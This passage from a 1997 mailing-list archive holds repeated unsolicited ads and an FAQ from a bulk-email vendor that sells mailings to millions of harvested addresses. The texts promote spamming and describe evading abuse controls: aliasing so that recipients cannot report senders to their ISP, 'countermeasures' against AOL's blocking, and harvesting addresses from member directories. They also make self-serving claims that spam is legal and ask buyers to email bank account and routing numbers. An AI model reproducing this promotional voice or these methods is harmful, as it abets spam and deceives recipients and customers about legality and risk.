We are consistently losing about 10% of our list each week to undeliverables and removal requests (combined). In order to somewhat compensate our advertisers for this, without incurring all the logistical nightmares we would have to endure if we tried to
 account for removals and undeliverables for each particular mailing, we send 110% of the actual order amount as a general rule. For example, if you paid for 100,000 we send 110,000. This approach has worked very well for our customers. Also note that th
is becomes a less significant issue when the minimum response guarantee is taken into account.

Contact Info:
Quantum Communications
6 Laurel Lane
Stratham, NH 03885
(603) 772-4096
(603) 772-7297 fax
general correspondence: staff@quantcom.com
sales: sales@quantcom.com
customer service: cusserv@quantcom.com
http://www.quantcom.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:28:47 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: A Remarkable Income Opportunity!!
Message-ID: <19293503002867@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


 Enclosed is the information you requested from Quantum Communications
regarding bulk Email advertising services:

Contact Info: 
Quantum Communications 
6 Laurel Lane Stratham, NH 03885 
603-772-4096
603-772-7297 fax 
staff@quantcom.com (general email) 
sales@quantcom.com(sales) 
cusserv@quantcom.com (customer service)
http://www.quantcom.com

Quantum Communications
Proudly presents:
BULK E-MAIL ADVERTISING SERVICE!

Would you like to offer YOUR product or service to potential 
customers via E-mail?

Consider the advantages of sending your marketing letter ALONE or
Co-op to MILLIONS of persons directly via E-mail:
 + NO sharing of space in a cluttered publication
 + NO being buried amidst 100 other postcards in a card deck
 + NO wondering if your prospects will see/read your offer
 + NO having to fight for your prospect's attention
 + NO price-shopping, having your offering compared to others nearby it
 + EXTREMELY COST EFFECTIVE - as low as .009 cents per letter!!
 + Your piece/letter goes out ALONE or Co-op, depending on YOUR needs and
   budget
 + Everyone reads their Email!
 + NO need to wait for a publication date! We mail according to YOUR timetable, and all mail
   reaches the target within 1 day!

Bulk Email is the perfect way to reach new prospects! Our 
state-of-the-art servers and proprietary software allow us to 
send your offering to MILLIONS of fresh prospects. All names on our
list have been sent a test letter, enabling us to delete
undeliverables and persons who do not wish to receive unsolicited
Email advertisements. Therefore, all the prospects we send YOUR
offering to are responsive, quality prospects! As part of our standard
service package, we also provide the following:
 + An autoresponder,which allows a prospect to simply click reply and instantly receive a
complete package of detailed further information via Email from your
company (up to 20 pages in length!)
 + A unique Email address to which inquiries for your offering are forwarded, allowing you to build up
your own database of hot prospects.
 + Complete design/copy assistance based on your goals and objectives

We offer a service package designed to fit every need and budget!
Choose either General Bulk (your letter sent ALONE),
 Co-op Bulk (your ad sent with  others),
 or Targeted Bulk (custom-built lists to YOUR specs).

Consider the benefits of using Quantum Communications for sending your bulk
email advertising:

 * Highest quality list of hot prospects!
 * Largest database (over 5 million, mostly online service members, NOT
newsgroup posters)!
 * Lowest rates in the industry!
 * FREE features included such as autoresponders, email forwarding, and copy design
assistance!
 * No-Nonsense response rate guarantee!
 * 100% approved FINANCING. No one turned down!
 * Top-notch customer service. The best in the industry, as our references will confirm!
 * Targeted lists available, custom built for YOUR project!

Rate Card:
___________________________________________________
Bulk Email Advertising Service
Stand Alone Ad, up to 40 lines of text:

$299 per 100,000, in even lots of 100,000
____________________________________________________
Co-Op Bulk Email Advertising Service
THE "MEGA-MAILER"
Sent to our full database of 5 million hot prospects!
Sent with other ads, 

up to 5 lines of text: $599
6-10 lines of text: $849

lines are 70 characters (spaces count) long

number of pieces		5 MILLION       
_____________________________________________________
Targeted Bulk Email 
Stand Alone Ad, up to 40 lines of text:

under  10,000                               9.0 cents per piece
10,000 to 25,000                          8.5 cents per piece
25,000 to 50,000                          8 cents per piece
over 50,000                                  7.5 cents per piece

*Contact us with areas to target and we will quote
   you a price.  
______________________________________________________
PAYMENT TERMS: 
10 % Prepay Discount for 100% pre-pay OR
FINANCING- NO Credit check. ALL APPROVED!
50% down, balance broken up into 2 equal monthly installments.
EFT only ( drawn on US bank account ) for financing.

_____________________________________________________
No-Nonsense Response Rate Guarantee:

There are many scams alive on the Internet.
Although the Net represents the greatest opportunity for a business to
expand and grow that has ever existed, dozens of "snake-oil" purveyers
prey on such businesspeople daily.

 Bulk Email Advertising is, in effect, the grass-roots basis at the
 foundation of all Net
advertising.
 It is effective, economical, fast, relatively inexpensive
(in comparison with other media, sometimes almost ridiculously so); in
short - it works! The only glitch with this new advertising media is
the con artists, as we have mentioned.

 Quantum Communications is committed
to providing a quality service to advertisers at a reasonable price.
No, we do not offer to supposedly send out a billion email ads for
$39. No legitimate company can afford to promise that AND actually do
it. Unfortunately, by the time most advertisers find that out, they
have lost their money. We believe, instead, in guaranteeing our
responses at a minimum level so each and every advertiser can rest
assured that their money is well spent. We guarantee the following
minimum responses to your advertising piece. If the responses do not
reach the minimum amount, we will continue to include your piece in
our co-op (if it was a co-op), or we will continue to mail the piece
by itself, in sufficient amounts until the minimum responses are
reached. These replies are only the POSITIVE responses and inquiries.
Flames or negative replies, etc. are filtered by us, and you never see
them! (they of course are NOT counted towards your minimum response
guarantee).

 Minimum Responses:
 General Bulk Email: 100 replies per 200k pieces sent

"MEGA-MAILER"  Co-Op Bulk Email:  200 replies

Targeted Bulk Email: 150 replies per 5,000 pieces sent (3.%!)

 As you will notice, this fixes the MAXIMUM cost PER REPLY at $2-3.
 Knowing how much each reply will cost you AT THE MOST allows you to
 plan your marketing budget and plan for success!

This also causes us to take extra care when helping to examine your ad
copy and suggest any revisions. Professional ad copy design is
available for a surcharge of $80 per hour.
 We have a stake in making sure you succeed! We
have many references who will vouch for our resolve and character as a
company. Please feel free to call and speak with them. Also, feel free
to either email us ( staff@quantcom.com) or call our offices at (603)
772-4096 and speak with us at any time Mon-Fri, 9AM to 7PM EST

PAYMENT FOR SERVICES:
We accept personal and business checks and money orders. We DO NOT
accept credit cards at this time. If you would like to utilize your
credit card, we recommend you get a cash advance from the card and
deposit the funds into your personal or business chec

IMPORTANT NOTE:
All payments remitted must be in U.S. funds, drawn on a U.S. bank.
EFT's must be drawn on an account in a U.S. bank. International
customers outside the U.S. may either send an international bank money
order (cashiers/bank cheque) drawn on their bank in U.S. dollars (by
postal mail/overnight mail), or may have funds wired directly to our
U.S. bank account. Email or call

TO PLACE AN ORDER:
Please make sure and include all of the information listed below, plus
your ad copy (unless you are requesting we design it for you) and
autoresponder copy, if needed (again, unless we are designing it for
you). You may  place an order in one of four ways:

1) Call our sales dept at (603) 772-4096. One of our sales reps will
be happy to assist you, answer your questions, and help you get
started.

2) Email us your phone # and best time to call, and one of our
representatives will call you.

3) Send us an email with the following information included. Be sure
and include ALL information. If anything is unclear, please feel free
to email us (staff@quantcom.com) or call our sales dept. Also be sure
and include ad copy and autoresponder copy, in

4) Print out the following "Needed information" form, and fill it out.
Then fax it to us at 603-772-4096, or send it via postal (snail) mail
to: Quantum Communications, 6 Laurel Lane , Stratham, NH, 03885
(optionally, you may include a regular check/money order.

Your Email advertising will be sent within 10 business days. We can
handle staggered or variable send schedules but in all cases require
10 days lead time. You will be sent a copy of your mailing when it is
sent so you will know that it has been sent.

Needed information for  Processing of ad form order via email/fax:
Name: Contact: Postal Address: City,State,Zip: Voice Phone #: Fax
Phone #: Email Address: Services Ordered: (General Bulk / Targeted
Bulk / MEGA-MAILER) How many recipients? Do you need us to design ad
copy? (y/n)
 * If yes, there is an $80 surcharge for professional ad copy design,
 plus $80 per hour for autoresponse copy design
Total Price:
Referred by:
Do you need an autoresponder?
Do you have a preference of email alias? (whatyouwant@quantcom.com)

*** Make sure Ad Copy and Autoresponder copy are included or
attached***

Before filling out the payment info, please decide how you  will be
addressing the payment terms. See the section above on prices for
available terms.

Payment Info:
The following information is all located on the face of your check.
Please realize that providing the information electronically is no
different than sending a paper check. When a paper check is sent, all
the same account numbers are visible. 
Account name: 
Bank Name,City,& State:
Amount:$ 
Check #: 
Authorized Signature: 
Transit #:
(also referred to as the ABA routing number, this is the group of
numbers which is usually in the lower left portion of the check and is
enclosed in funny looking brackets that look like this |: The number
is exactly 9 digits long.)
 Account # :
(Another group of
numbers on the bottom edge of the check, should be the rest of the
numbers there besides the transit #. The check # should be part of
this grouping also. )

*** If you have any questions about
which numbers are which, simply call your bank and ask them what your
account # and transit # (or ABA routing #) are.***  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:30:33 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: A Remarkable Income Opportunity!!
Message-ID: <19293594102868@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Quantum Communications
Frequently Asked Questions (FAQ)
Direct Email Marketing

Contents:
1) What are your minimum orders?
2) Why can't I just do mailings myself?
3) What about Floodgate and other similar software mailing programs?
4) What if I have my own list?
5) What about the other Email Advertising companies?
6) What is the legal status of Email Advertising?
7) What about blocking by AOL?
8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
9) What is an "autoresponder"?
10) What about ad copy design?
11) What about proof-of-mailing?
12) What is the "response rate guarantee"? How does it work?
13) What is your mail sending capacity?
14) What is the average lead time before my ad can be sent?
15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
16) What categories are available for targeted lists?
17) Do you have sub-agent opportunities?
18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
19) What about undeliverables?
20) Contact Info

1) What are your minimum orders?
Our minimum orders are 5,000 pieces for targeted mailings (in even lots of 5,000), 100,000 pieces for stand-alone bulk mailings (in even lots of 100,000), and 5 MILLION for the MEGA-MAILER co-op mailing (the full 5 million is the only size). As long as y
our order is for at least  the minimum amount of pieces, and in even lot sizes, you may stagger the actual sendings any way you wish (50,000 per week, etc.). Note, however, that the MEGA-MAILER is only sent once per week and is sent to the full 5 million
 address list. The reason we have minimums at all is due to the fact that the majority of our cost in terms of man-hours comes as a result of setting up a mailing, and so we cannot spend the time and money to setup too small a job.

2) Why can't I just do mailings myself?
Technically, you can. For practical purposes, you can't. There are three reasons why it is implausible to even attempt to do your own Email Advertising:
  1) Every single internet service provider on the planet will shut down your account. You will not even get 1000 pieces of mail out, and you will be shut down, because some uptight, self-appointed net-cops will complain to your provider. Do not kid your
self. It WILL happen. Sending unsolicited commercial Email of any type is a violation of virtually every ISP's Terms of Service. Even if your ISP tells you it's OK (which will not happen 99% of the time), they will very quickly change their tune after th
eir technical people receive a mailbox full of angry mail (commonly referred to as flames). When your account is cancelled, you will NOT get a refund, and, worse yet, you won't even be able to retrieve your replies! 
  2) A very large technical capacity is required to send bulk Email. You MIGHT be able to send 5,000 or so pieces of mail per hour, with a 28.8 modem, except that with dial-up internet connections, there are always dropped connections and so you can neve
r be sure your mail went out unless you constantly sit and monitor the mailings all day and night, and send very small pieces at a time.
  3) In order to have a list of addresses to send to, you have two choices: either spend months collecting names, or purchase an over-used list from a list vendor, who has sold the same list to dozens of others, who will bomb the list into uselessness. I
n addition, most lists are so old that the names are 40% undeliverable, or from newsgroups, which are the WORST kinds of people to solicit. 
These three factors make it a practical impossibility to actually do your own bulk Email advertising, even though the vendors of the bulk Email software will not tell you this. The reason we do not have these hassles is because Quantum Communications IS 
OUR OWN INTERNET PROVIDER. We do not purchase service from anyone, and Email advertising is our only business! We have our own in-house servers, high-speed T-1 connections to the Internet, and full-time technical and customer service staff, yet our only 
customers are advertisers! Our lists are constantly maintained, updated, and cleansed, and are ONLY from high-quality sources. We DO NOT sell our names, or let anyone see them. See Question 18 for more on our lists. 

3) What about Floodgate and other similar software mailing programs?
Those programs can actually be fairly useful for extracting Email addresses and if you would like to build your own lists to your own specifications, that is an option (See Question 4 "What if I have my own list?"). However, building mailing lists is an 
EXTREMELY time-consuming and monotonous task, not to mention expensive in on-line charges. In addition, having these software programs will not help in the least in the sending issues you need to consider (See Question #2, above). We handle all aspects o
f the mailing process, leaving you free to concentrate on your business!

4) What if I have my own list?
We are fully able to use your list and send your mail to it. The price is 50% of what it would normally be. We simply have you Email or ftp your list to us, with ad copy (and autoresponse copy, if necessary).

5) What about the other Email Advertising companies?
There is some competition in  Direct Email marketing for your advertising dollar, and we have never purported to be the cheapest. We simply are the best. Most of the other "cheapo" companies who claim to offer a zillion pieces sent for $39, or some simil
ar lowball deal, are quite frankly, scams. No legitimate company can afford all of the hardware, software, and personnel that a true advertising company like ours posesses, without charging a reasonable fee for providing of the service. Most of the low-r
ent Email marketing companies are here-today, gone tomorrow. Perhaps gone with your money. Almost certainly gone without providing the actual service you paid for. Many of them look great until you investigate them further. Try calling them and getting a
 real live person on the phone. Or try asking them some of the questions referred to in this document. Most will disappear when you start asking serious questions. Or try asking for references. Good luck. There are so many fly-by night operators and snak
e-oil salesmen on the 'net, it is hard to know what to believe. But the basic truths in business hold true. You should be able to call and get a live person on the phone, you should be able to check references and ask pointed questions, you should have a
ccess to customer service and technical support, and you should be able to get a clear understanding of who you are dealing with, and how they do business. One mailing with us and you will be convinced that we truly are the cadillac of the industry.

6) What is the legal status of Email Advertising?
Direct Email Advertising and solicitation is legal. It always has been. There are many self-styled legal eagles who dislike Email solicitation, and they will sometimes misquote federal statutes which apply to sending of unsolicited FAXES. There has never
 been a higher-court ruling supporting this supposed link between Email and unsolicited FAX.
It is highly unlikely that such a ruling will EVER occur. If it does, we of course will need to adjust our business practices  to stay in accordance with the law. However, at the present time, and for the foreseeable future in our opinion, Email solicita
tion is just as legal as postal mail solicitation. The only real negative point which anti-Email advertising people address is that SOME people pay for their connect time at a timed/metered rate. Thus, the milliseconds which it takes to download an unsol
icited piece of mail does cost the recipient (albeit tiny fractions of a penny). However, almost all ISP's (even America Online) have moved, or will be forced by competition to move, to an unlimited time rate structure. Therefore, this will no longer be 
an issue, and the persons who oppose Email advertising will have no legs to stand on. As this happens, Email advertising will become exactly like postal mail solicitation ( it is actually LESS intrusive than postal  junk mail), and therefore we believe i
t will NOT be regulated or legislated against.
 As a side note, we do provide a very clear, brief disclaimer at the header of ALL of our mailings which gives quick, simple removal instructions for persons who do not want to be on our lists. We act on all such requests immediately. In fact, it is an a
utomated process. We do not want to be sending mail to unwilling recipients any more than they wish to receive it.

7) What about blocking by AOL?
America Online has recently taken to blocking Email solicitations to it's members by certain Email Advertising companies. These companies are the ones who had been abusing their power, and had in fact been over-mailing (sending multiple pieces to the sam
e recipients PER DAY). The most well-known of these companies was Cyber-Promotions. We feel that since we only send mail no more than 3 times per week to any single recipient, AOL is unlikely to begin blocking our transmissions. We also could take counte
rmeasures technically and send to them again if necessary. However, our list only consists of about 25% AOL members, and that percentage is shrinking, as most of our newer names are coming from indepedent ISP sources (see Question # 18), so a blockage, w
hile unlikely, would not affect us in the least in any event. Incidentally, we find it interesting that AOL does not apparently mind soliciting it's members (one cannot be online with them without getting at least 3 pop-up ads PER SESSION), they simply d
on't want others soliciting their members without compensating THEM.

8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
Flames are the hate mail which is a part of Email soliciting today. Flame filtering is the automated filtering process we use to ensure that replies forwarded to you (by us) are only positive, serious inquiries, requests for information, orders, etc. We 
assign customers an Email alias at OUR domain. We are the only ones who know your REAL Email address. We then have all replies to your advertising sent to the alias we have assigned you so that we can filter out flames, then forward the "good" replies to
 you. No one can complain to your ISP, because as far as anyone knows, WE are your ISP (and we of course will not pay any attention, except to promptly remove them from our lists). In this way, you are totally insulated and protected, while still getting
 all "good" replies! Good replies are forwarded to you automatically as they come in. There is NO lag time or waiting.

9) What is an "autoresponder"?
An Autoresponder is just an Email alias which we can have prospects who see your advertising respond to. When the response hits the autoresponder, it kicks back an automatic text file reply via Email, which is typically a more detailed package of informa
tion (up to 20 pages)  regarding your product or service. This effectively helps you weed out the "tire-kickers", so you are free to concentrate on fulfilling orders and more serious requests. A typical procedure is for a small "teaser" ad to be sent, wi
th an autoresponder as the reply-to address. In the autoresponse text, you would typically include another Email alias for orders or more serious or specific questions.

10) What about ad copy design?
We do have a copy editor on staff who is available to either write your copy from scratch or revise existing copy you already have. This is usually a wise investment, because the copy can be reused many times in different mailings, it will be done by a s
easoned professional with over 10 years of experience in copywriting, and the actual copy is more than anything the key difference between success and failure when doing an Email marketing campaign. Think about it. Email is text only. No graphics, no mov
ing pictures, sounds or colors. The content is all-important.
 Charges are $80 per hour, with typical costs being 1/2 hour for a revision, 1 hour for a small ad design, and 3 or more hours for design of ad copy plus autoresponse copy.

11) What about proof-of-mailing?
When sending mail via the US Postal Service, a proof of mailing receipt is provided. There is no such counterpart in the world of Email. Although you will receive confirmation of your mailing once it is sent, the best way to become comfortable with deali
ng with us is by first talking with our references, then by doing a single mailing to see what we can do for you. Once you have done business with us you will agree that we deliver exactly what we promise. Our minimum response rate guarantee is further e
vidence of this, and renders the question of a proof of mailing as somewhat moot. We do actually have a log of all sent mail which is generated by our mailing software, but we only disclose the log under extenuating circumstances, and for a fee of $50 pe
r 100,000 pieces sent, as it lists every mail sent, which discloses our list.

12) What is the "response rate guarantee"? How does it work?
Our unique "response rate guarantee" is a clear indication of not only our rock-solid commitment to each and every advertiser, but also of our belief in direct Email advertising as a marketing medium. We know of no other advertising agency (Email or othe
rwise) who actually GUARANTEES a minimum number of responses. Our guarantee is the following:
  1) If you do not receive AT LEAST the minimum guaranteed responses from your Email Advertising, we will send on your behalf again, and again, and again..until you get the minimum amount!
  2) You must allow 10 business days from the date your mailing was completed and you received confirmation, before requesting a remailing.
  3) Of course, only positive, interested replies are counted towards your guaranteed minimum.
  4) For this guarantee to apply, we must be able to verify the amount of replies you receive, so your ad must direct interested persons to an autoresponder or Email alias which we provide.
  5) Any remailings are done on the same scale and amount as the original mailing, but to different recipients (except for the MEGA-MAILER or targeted lists)).
  6) You must request a remailing by sending an Email to our customer service department, or by calling our office (ask to speak to customer service). We do not monitor replies automatically and automatically resend.
  7) You may, at no charge, alter your original advertisement in any way you wish, as long as it is the same type of mailing as the original (targeted must be to the same group), and the same length as paid for in the original. Optionally, you may have t
he ad revised professionally by us (See Question # 10). 
The Minimum responses guaranteed are as follows. We have had to make the numbers guaranteed purposefully low, because we extend this guarantee to ALL advertisers, regardless of whether or not they have effective ad copy or an appealing product or service
. We of course strive for much higher responses for everyone, but is helpful to know that there is a "safety net", just in case.
MINIMUMS:
GENERAL STAND-ALONE BULK: 100 REPLIES PER 200,000 PIECES SENT
TARGETED BULK: 150 REPLIES PER 5,000 PIECES SENT
MEGA-MAILER: 200 REPLIES
This allows advertisers to plan on a maximum cost per inquiry, which can be essential when planning a marketing budget. This guarantee, more than any other single factor, shows that Quantum Communications is a cut above the rest in the world of Marketing
 and Advertising!

13) What is your mail sending capacity?
We have the technical capacity to send over 2 million pieces of mail per day. We have invested heavily in hardware, software, and high-speed mail transmission facilities to be able to achieve this capacity. We can handle your job, large or small. 

14) What is the average lead time before my ad can be sent?
The current lead time is 7-10 business days. This allows time for your ad copy to be submitted and for any revisions you may have before the mailing date. We actually work very hard to keep the lead times to a minimum, however, there has been a very high
 demand for Email advertising services, and it has been difficult just keeping up. If you have a special need to expedite an order, call or Email our customer service department, and we will make every effort to accomodate you.

15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
This depends entirely on your product or service. If you have a product or service which has a broad-based appeal, it is definetely better to send to a larger group of people. If you have an offering which you think needs 20-30 lines to entice people or 
grab their interest, then you need a stand-alone (the MEGA-MAILER is not for you). If you are announcing a website and just want mass exposure to 5 MILLION people, the MEGA-MAILER is just the thing. Of course, if you are trying to reach a select group, y
ou need to have a targeted mailing. You may Email or call our sales department and a sales representative will be happy to assist you in selecting the right type of mailing to suit your offering.

16) What categories are available for targeted lists?
We custom build all of our targeted lists from scratch, and 90% of our targeted lists are never re-used. We are able to build a custom-designed list to YOUR specifications. So, in other words, you tell US what the category is, or the demographics of the 
persons or businesses you are trying to reach. We then get an estimate from our List staff for approximately how many names we will commit to being able to find. Our sales staff will work with you on this issue. Of course, it is always a much lower volum
e of names than a normal bulk list, but we have seen response rates of over 5% when mailing a targeted group!

17) Do you have sub-agent opportunities?
Yes we do.
We are currently accepting sub-agents who wish to promote and re-sell our services, or simply send us referrals.
For a copy of our agent registration kit via Email, send an Email to agent@quantcom.com

18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
Our Lists department is continually extracting fresh names for our lists from many sources. The sources include the membership directories of all the major online services (AOL, Compuserve, Prodigy, Delphi, MSN), plus the "white pages" Email databases su
ch as 411, IAF, etc. We NEVER extract names from newsgroups, except to build targeted lists. We NEVER send mail to Listserv's, .edu's, .gov's, etc. We automatically delete removal requests immediately, as well as undeliverables. We add 400,000 to 800,000
 fresh addresses each week. For these reasons, we feel that we have a super-high quality database, which consists of over 6 MILLION addresses. This high list quality is another feature of our service, and boosts response rates dramatically over our compe
titors. Although we add addresses constantly, and are attempting to reach 10 MILLION addresses by 2nd quarter of 1997, it is difficult because we lose about 10% of our database each week to removal requests and undeliverables. 

19) What about undeliverables?
We are consistently losing about 10% of our list each week to undeliverables and removal requests (combined). In order to somewhat compensate our advertisers for this, without incurring all the logistical nightmares we would have to endure if we tried to
 account for removals and undeliverables for each particular mailing, we send 110% of the actual order amount as a general rule. For example, if you paid for 100,000 we send 110,000. This approach has worked very well for our customers. Also note that th
is becomes a less significant issue when the minimum response guarantee is taken into account.

Contact Info:
Quantum Communications
6 Laurel Lane
Stratham, NH 03885
(603) 772-4096
(603) 772-7297 fax
general correspondence: staff@quantcom.com
sales: sales@quantcom.com
customer service: cusserv@quantcom.com
http://www.quantcom.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:35:26 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: ATTENTION HOMEOWNER
Message-ID: <19343737402878@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


 Enclosed is the information you requested from Quantum Communications
regarding bulk Email advertising services:

Contact Info: 
Quantum Communications 
6 Laurel Lane Stratham, NH 03885 
603-772-4096
603-772-7297 fax 
staff@quantcom.com (general email) 
sales@quantcom.com(sales) 
cusserv@quantcom.com (customer service)
http://www.quantcom.com

Quantum Communications
Proudly presents:
BULK E-MAIL ADVERTISING SERVICE!

Would you like to offer YOUR product or service to potential 
customers via E-mail?

Consider the advantages of sending your marketing letter ALONE or
Co-op to MILLIONS of persons directly via E-mail:
 + NO sharing of space in a cluttered publication
 + NO being buried amidst 100 other postcards in a card deck
 + NO wondering if your prospects will see/read your offer
 + NO having to fight for your prospect's attention
 + NO price-shopping, having your offering compared to others nearby it
 + EXTREMELY COST EFFECTIVE - as low as .009 cents per letter!!
 + Your piece/letter goes out ALONE or Co-op, depending on YOUR needs and
   budget
 + Everyone reads their Email!
 + NO need to wait for a publication date! We mail according to YOUR timetable, and all mail
   reaches the target within 1 day!

Bulk Email is the perfect way to reach new prospects! Our 
state-of-the-art servers and proprietary software allow us to 
send your offering to MILLIONS of fresh prospects. All names on our
list have been sent a test letter, enabling us to delete
undeliverables and persons who do not wish to receive unsolicited
Email advertisements. Therefore, all the prospects we send YOUR
offering to are responsive, quality prospects! As part of our standard
service package, we also provide the following:
 + An autoresponder,which allows a prospect to simply click reply and instantly receive a
complete package of detailed further information via Email from your
company (up to 20 pages in length!)
 + A unique Email address to which inquiries for your offering are forwarded, allowing you to build up
your own database of hot prospects.
 + Complete design/copy assistance based on your goals and objectives

We offer a service package designed to fit every need and budget!
Choose either General Bulk (your letter sent ALONE),
 Co-op Bulk (your ad sent with  others),
 or Targeted Bulk (custom-built lists to YOUR specs).

Consider the benefits of using Quantum Communications for sending your bulk
email advertising:

 * Highest quality list of hot prospects!
 * Largest database (over 5 million, mostly online service members, NOT
newsgroup posters)!
 * Lowest rates in the industry!
 * FREE features included such as autoresponders, email forwarding, and copy design
assistance!
 * No-Nonsense response rate guarantee!
 * 100% approved FINANCING. No one turned down!
 * Top-notch customer service. The best in the industry, as our references will confirm!
 * Targeted lists available, custom built for YOUR project!

Rate Card:
___________________________________________________
Bulk Email Advertising Service
Stand Alone Ad, up to 40 lines of text:

$299 per 100,000, in even lots of 100,000
____________________________________________________
Co-Op Bulk Email Advertising Service
THE "MEGA-MAILER"
Sent to our full database of 5 million hot prospects!
Sent with other ads, 

up to 5 lines of text: $599
6-10 lines of text: $849

lines are 70 characters (spaces count) long

number of pieces		5 MILLION       
_____________________________________________________
Targeted Bulk Email 
Stand Alone Ad, up to 40 lines of text:

under  10,000                               9.0 cents per piece
10,000 to 25,000                          8.5 cents per piece
25,000 to 50,000                          8 cents per piece
over 50,000                                  7.5 cents per piece

*Contact us with areas to target and we will quote
   you a price.  
______________________________________________________
PAYMENT TERMS: 
10 % Prepay Discount for 100% pre-pay OR
FINANCING- NO Credit check. ALL APPROVED!
50% down, balance broken up into 2 equal monthly installments.
EFT only ( drawn on US bank account ) for financing.

_____________________________________________________
No-Nonsense Response Rate Guarantee:

There are many scams alive on the Internet.
Although the Net represents the greatest opportunity for a business to
expand and grow that has ever existed, dozens of "snake-oil" purveyers
prey on such businesspeople daily.

 Bulk Email Advertising is, in effect, the grass-roots basis at the
 foundation of all Net
advertising.
 It is effective, economical, fast, relatively inexpensive
(in comparison with other media, sometimes almost ridiculously so); in
short - it works! The only glitch with this new advertising media is
the con artists, as we have mentioned.

 Quantum Communications is committed
to providing a quality service to advertisers at a reasonable price.
No, we do not offer to supposedly send out a billion email ads for
$39. No legitimate company can afford to promise that AND actually do
it. Unfortunately, by the time most advertisers find that out, they
have lost their money. We believe, instead, in guaranteeing our
responses at a minimum level so each and every advertiser can rest
assured that their money is well spent. We guarantee the following
minimum responses to your advertising piece. If the responses do not
reach the minimum amount, we will continue to include your piece in
our co-op (if it was a co-op), or we will continue to mail the piece
by itself, in sufficient amounts until the minimum responses are
reached. These replies are only the POSITIVE responses and inquiries.
Flames or negative replies, etc. are filtered by us, and you never see
them! (they of course are NOT counted towards your minimum response
guarantee).

 Minimum Responses:
 General Bulk Email: 100 replies per 200k pieces sent

"MEGA-MAILER"  Co-Op Bulk Email:  200 replies

Targeted Bulk Email: 150 replies per 5,000 pieces sent (3.%!)

 As you will notice, this fixes the MAXIMUM cost PER REPLY at $2-3.
 Knowing how much each reply will cost you AT THE MOST allows you to
 plan your marketing budget and plan for success!

This also causes us to take extra care when helping to examine your ad
copy and suggest any revisions. Professional ad copy design is
available for a surcharge of $80 per hour.
 We have a stake in making sure you succeed! We
have many references who will vouch for our resolve and character as a
company. Please feel free to call and speak with them. Also, feel free
to either email us ( staff@quantcom.com) or call our offices at (603)
772-4096 and speak with us at any time Mon-Fri, 9AM to 7PM EST

PAYMENT FOR SERVICES:
We accept personal and business checks and money orders. We DO NOT
accept credit cards at this time. If you would like to utilize your
credit card, we recommend you get a cash advance from the card and
deposit the funds into your personal or business chec

IMPORTANT NOTE:
All payments remitted must be in U.S. funds, drawn on a U.S. bank.
EFT's must be drawn on an account in a U.S. bank. International
customers outside the U.S. may either send an international bank money
order (cashiers/bank cheque) drawn on their bank in U.S. dollars (by
postal mail/overnight mail), or may have funds wired directly to our
U.S. bank account. Email or call

TO PLACE AN ORDER:
Please make sure and include all of the information listed below, plus
your ad copy (unless you are requesting we design it for you) and
autoresponder copy, if needed (again, unless we are designing it for
you). You may  place an order in one of four ways:

1) Call our sales dept at (603) 772-4096. One of our sales reps will
be happy to assist you, answer your questions, and help you get
started.

2) Email us your phone # and best time to call, and one of our
representatives will call you.

3) Send us an email with the following information included. Be sure
and include ALL information. If anything is unclear, please feel free
to email us (staff@quantcom.com) or call our sales dept. Also be sure
and include ad copy and autoresponder copy, in

4) Print out the following "Needed information" form, and fill it out.
Then fax it to us at 603-772-4096, or send it via postal (snail) mail
to: Quantum Communications, 6 Laurel Lane , Stratham, NH, 03885
(optionally, you may include a regular check/money order.

Your Email advertising will be sent within 10 business days. We can
handle staggered or variable send schedules but in all cases require
10 days lead time. You will be sent a copy of your mailing when it is
sent so you will know that it has been sent.

Needed information for  Processing of ad form order via email/fax:
Name: Contact: Postal Address: City,State,Zip: Voice Phone #: Fax
Phone #: Email Address: Services Ordered: (General Bulk / Targeted
Bulk / MEGA-MAILER) How many recipients? Do you need us to design ad
copy? (y/n)
 * If yes, there is an $80 surcharge for professional ad copy design,
 plus $80 per hour for autoresponse copy design
Total Price:
Referred by:
Do you need an autoresponder?
Do you have a preference of email alias? (whatyouwant@quantcom.com)

*** Make sure Ad Copy and Autoresponder copy are included or
attached***

Before filling out the payment info, please decide how you  will be
addressing the payment terms. See the section above on prices for
available terms.

Payment Info:
The following information is all located on the face of your check.
Please realize that providing the information electronically is no
different than sending a paper check. When a paper check is sent, all
the same account numbers are visible. 
Account name: 
Bank Name,City,& State:
Amount:$ 
Check #: 
Authorized Signature: 
Transit #:
(also referred to as the ABA routing number, this is the group of
numbers which is usually in the lower left portion of the check and is
enclosed in funny looking brackets that look like this |: The number
is exactly 9 digits long.)
 Account # :
(Another group of
numbers on the bottom edge of the check, should be the rest of the
numbers there besides the transit #. The check # should be part of
this grouping also. )

*** If you have any questions about
which numbers are which, simply call your bank and ask them what your
account # and transit # (or ABA routing #) are.***  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:33:41 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: ATTENTION HOMEOWNER
Message-ID: <19343827602879@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Quantum Communications
Frequently Asked Questions (FAQ)
Direct Email Marketing

Contents:
1) What are your minimum orders?
2) Why can't I just do mailings myself?
3) What about Floodgate and other similar software mailing programs?
4) What if I have my own list?
5) What about the other Email Advertising companies?
6) What is the legal status of Email Advertising?
7) What about blocking by AOL?
